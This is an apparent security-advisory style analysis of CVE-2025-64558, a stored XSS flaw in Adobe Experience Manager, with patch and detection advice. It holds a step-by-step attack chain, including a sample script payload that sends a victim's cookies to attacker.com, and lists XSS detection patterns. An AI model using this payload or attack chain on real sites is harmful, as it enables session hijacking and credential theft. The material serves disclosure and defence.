CVE-2025-64558: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64558 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM as a Cloud Service versions prior to 2025.12.0. The vulnerability was disclosed on December 9, 2025, with Adobe publishing the advisory (APSB25-115) and NVD recording it on December 10, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, CIS Advisory).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79 — Stored XSS). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable AEM form fields; the payload is persisted server-side and executed in the browser of any user who subsequently visits the affected page. Exploitation requires user interaction (a victim browsing to the page containing the injected content) and low privileges, but no special configuration. The attack vector is network-accessible, making it remotely exploitable (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within AEM, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. While the CVSS score reflects limited confidentiality and integrity impact (Low each) with no availability impact, the stored nature of the XSS means a single injection can affect multiple users over time. In environments where AEM manages sensitive content or integrates with other enterprise systems, this could facilitate further lateral movement or privilege escalation (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service versions prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a content author or contributor role).
3. Locate vulnerable form fields: Navigate to AEM pages or components that accept and render user-supplied input without proper sanitization, such as content authoring forms or editable text components.
4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an AEM administrator) to browse to the page containing the injected content, causing the malicious script to execute in their browser context.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data from the attacker-controlled server to enable further unauthorized access (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing script tags or encoded JavaScript payloads (%3Cscript%3E, javascript:, onerror=, onload=) from low-privileged user accounts.
• File System: Unexpected or modified AEM content nodes containing embedded <script> tags or event handler attributes in JCR repository content (detectable via CRX/DE or repository inspection).
• Network: Outbound HTTP/HTTPS requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages; unusual DNS lookups originating from AEM user sessions.
• Application Behavior: AEM pages rendering unexpected JavaScript content or redirecting users to external URLs not associated with legitimate site content.

Adobe has released patches addressing CVE-2025-64558 in AEM 6.5 Service Pack 6.5.24.0 (on-premises) and AEM as a Cloud Service release 2025.12.0. Organizations should upgrade to these versions immediately. As a temporary workaround, restrict content authoring permissions to trusted users only and implement a Web Application Firewall (WAF) with XSS filtering rules to block malicious input. Review and audit existing AEM content for injected scripts using CRX/DE or repository queries (Adobe Advisory, CIS Advisory).

The Center for Internet Security (CIS) published an advisory noting that multiple vulnerabilities in Adobe products, including those in AEM, could allow for arbitrary code execution, recommending prompt patching (CIS Advisory). Tenable added detection coverage via Nessus plugin 278346 shortly after disclosure (Tenable). No significant independent researcher commentary or notable social media discussion specific to CVE-2025-64558 has been identified beyond standard vulnerability aggregator coverage.